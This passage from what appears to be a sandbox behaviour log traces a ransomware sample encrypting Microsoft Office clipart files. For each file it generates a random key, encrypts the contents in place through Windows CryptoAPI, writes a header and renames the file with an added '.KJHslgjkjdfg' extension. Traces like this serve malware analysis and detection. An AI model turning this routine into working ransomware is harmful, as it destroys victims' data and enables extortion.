(hFile=0x130) returned 1 [0189.822] GetProcessHeap () returned 0x990000 [0189.822] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.822] GetProcessHeap () returned 0x990000 [0189.822] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.kjhslgjkjdfg")) returned 1 [0189.823] CloseHandle (hObject=0x130) returned 1 [0189.823] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0189.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.824] GetProcessHeap () returned 0x990000 [0189.824] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.824] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.824] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.826] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.826] GetProcessHeap () returned 0x990000 [0189.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.827] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.827] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.827] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.827] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.827] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.827] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.827] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.827] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.827] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f4, lpOverlapped=0x0) returned 1 [0189.827] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x500, dwBufLen=0x500 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x500) returned 1 [0189.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.828] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x500, lpOverlapped=0x0) returned 1 [0189.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.828] SetEndOfFile (hFile=0x130) returned 1 [0189.830] GetProcessHeap () returned 0x990000 [0189.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.830] GetProcessHeap () returned 0x990000 [0189.830] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.kjhslgjkjdfg")) returned 1 [0189.832] CloseHandle (hObject=0x130) returned 1 [0189.832] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0189.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.832] GetProcessHeap () returned 0x990000 [0189.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.832] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.833] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.841] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.841] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.841] GetProcessHeap () returned 0x990000 [0189.841] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.841] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.841] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.841] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.841] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.841] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.841] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.841] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.841] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.841] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.841] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1388, lpOverlapped=0x0) returned 1 [0189.844] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390, dwBufLen=0x1390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390) returned 1 [0189.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.844] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1390, lpOverlapped=0x0) returned 1 [0189.844] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.844] SetEndOfFile (hFile=0x130) returned 1 [0189.846] GetProcessHeap () returned 0x990000 [0189.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.846] GetProcessHeap () returned 0x990000 [0189.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.kjhslgjkjdfg")) returned 1 [0189.848] CloseHandle (hObject=0x130) returned 1 [0189.848] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0189.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.849] GetProcessHeap () returned 0x990000 [0189.849] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.849] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.849] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.853] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.853] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.853] GetProcessHeap () returned 0x990000 [0189.853] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.853] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.853] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.853] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.853] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.853] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.853] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.853] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.853] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.853] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.853] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1cac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1cac, lpOverlapped=0x0) returned 1 [0189.854] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cb0) returned 1 [0189.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.854] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1cb0, lpOverlapped=0x0) returned 1 [0189.854] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.855] SetEndOfFile (hFile=0x130) returned 1 [0189.857] GetProcessHeap () returned 0x990000 [0189.857] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.857] GetProcessHeap () returned 0x990000 [0189.857] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.kjhslgjkjdfg")) returned 1 [0189.858] CloseHandle (hObject=0x130) returned 1 [0189.858] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0189.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.859] GetProcessHeap () returned 0x990000 [0189.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.859] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.859] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0189.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.861] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.861] GetProcessHeap () returned 0x990000 [0189.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.861] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.861] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.861] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.861] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.861] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.861] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.862] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.862] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3dbe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3dbe, lpOverlapped=0x0) returned 1 [0189.862] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3dc0) returned 1 [0189.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.863] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3dc0, lpOverlapped=0x0) returned 1 [0189.863] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.863] SetEndOfFile (hFile=0x130) returned 1 [0189.865] GetProcessHeap () returned 0x990000 [0189.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.865] GetProcessHeap () returned 0x990000 [0189.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.kjhslgjkjdfg")) returned 1 [0189.866] CloseHandle (hObject=0x130) returned 1 [0189.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0189.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, 